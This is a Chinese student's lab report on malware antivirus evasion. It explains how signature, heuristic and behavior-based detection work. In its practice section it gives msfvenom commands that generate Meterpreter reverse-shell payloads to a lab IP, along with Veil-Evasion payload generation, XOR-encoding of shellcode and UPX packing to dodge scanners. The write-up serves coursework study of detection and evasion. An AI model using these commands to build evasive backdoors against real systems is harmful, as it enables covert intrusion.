20155206《网络攻防》第三次实验_免杀及其原理

20155206《网络攻防》第三次实验_免杀及其原理

恶意代码的免杀

、 首先明确一点,恶意代码是如何被杀的,只有知道了如何查杀病毒才可以去谈如何避免我们做的病毒不被查杀,现在我们大众接触到的杀毒软件国内国外有很多种,其实他们根本的方法都是一样的,只是各家对于现在留存于世的恶意代码的研究深度不同,而且对于不同环境下的可疑文件分析方式也是不同,所以才有目前我们见到的各种各样的杀毒软件。

查杀方式

、 基于特征码的检测方式,所谓的特征码就是大家在研究恶意代码的时候,发现很多的恶意代码,他们的底层文件信息,也就是机器语言,上都有一些字段是相同的,因为现在的人们的系统中,很多的端口规范化使用,而且防火墙禁止了许多开放端口服务,很多的恶意代码混进来都是靠着一些一直开放的端口服务,而且恶意代码的功能总是大同小异,所以总是有一些相似的底层代码,也就是我们所说的特征码,通过扫描可疑文件的底层代码进行恶意代码的识别和查杀就是我们所说的基于特征码的查杀了。而且后来大家发现有些恶意代码可能传播具有地区局限性,或是先出来跳了几天,风头紧就躲了起来,为了防止这些恶意代码,杀软的工作人员建立了一个名叫病毒库的强大后台,省的每次都要那么的麻烦的进行扫描分析。这样一来,对于被检测出来的恶意代码的查杀便得就像是打卡上班一样的轻松。

、 启发式的恶意代码查杀,这样查杀我感觉就是当年大家刚刚设计出互联网时,只是单单对于通信传输方面进行了完善的设计,忘记了肯定有人就是搞事情这样的万年不变的定律,然后被一干恶意代码搞了好几波之后,对于恶意代码是深恶痛绝,只要你敢和恶意软件长得几分相似,我就要收拾你丫的,启发式查杀就是给我一种这样的感觉,通过对于软件和现有病毒库中的各个样本们进行比对,要是相似程度大于一个杀软设计者给定值后,就把这个软件查杀了,但是本来很多恶意软件就是基于很多软件进行的代码重构或是暗地捆绑,这样做的话让一些本来只是老老实实的软件也跟着遭了秧,这是杀软行业中的“宁可错杀三千,不能放过一个恶意代码”政策。

、 基于软件行为的查杀,其实吧,这种方式就像是,一个敌方的间谍混入到了我们广大人民群众中去了,但是吧,这个间谍并没有每天干着各种坏事,也像是我们普通人一样,每天该干啥干啥,但是吧,间谍总是间谍,总是要体现以下职业道德的,但是只要他干了坏事,我们就立马抓住他,然后处理他。基于行为的查杀也是一样,因为恶意代码要干的事情,其实就是那么几个,要不透露个个人信息,悄咪咪发出去;或是给贼人开个后门,让贼人进入我们自家地方,但是我们的杀软可谓是把控着进出的每个通道,只要有人敢这样做,杀软就二话不说查杀了就是了。这样的查杀方式,就显得很是全面了,有些新型的恶意代码没有在病毒库中备案,也没有和哪个恶意代码长得有几分相像,但是只要是干了坏事,那就是我们的敌人,坚决干掉不留情面。

免杀方式

、 首先呢,我们的恶意代码都是可执行文件形式,只要是我们加了壳,杀软就无法看到我们的底层代码了,所谓的加壳我是知道的,就是为了防盗版吗,但是国内的俩家知名门户网站,对于壳表示就喜欢剥壳,但是一般的杀软无法分析我们的底层代码最多就给我们提示是风险文件,建议隔离运行。

、 对shellcode进行再编译,改变我们本身的特征码,就是整了容一样,虽然外表变了,但是本质没变。

实践

、 首先我们对上次实验生成的后门exe,利用VirSCAN进行检测

、 然后我们利用
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.35.132(kali ip) lport=5210 x> 5210_backjar.jar
生成jar文件,进行检测

使用veil-evasion生成反弹链接的可执行文件

、 利用veil指令打开veil-evasion
、 依次用use evasion,list payloads,进入到payloads模板界面

、 随便选择一个模板,将其复制,输入q退回到上一界面,然后输入use xxxxx(你所复制的模板)
、 然后输入set LHOST kali-ip,set LPORT 5206对其进行配置,然后输入generate生成。

、 记录下exe文件的位置,将其拖到windows下进行检测,结果如图:

利用shellcode编程实现免杀

、 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.35.132 LPORT=206 -f c

、 将其变成C语言文件,进行编译

、 进行回连,回连成功

对shellcode进行更改

、 我首先对其进行异或,我做的为异或x206

、 回连成功!

、 进行检测

加壳

upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx #需要加壳的文件名 -o #加壳后的文件名
、 进行检测

事实证明,其实这一套组合拳下来,还是没什么用,有点难受的

原文地址:https://www.cnblogs.com/zf011/p/8783663.html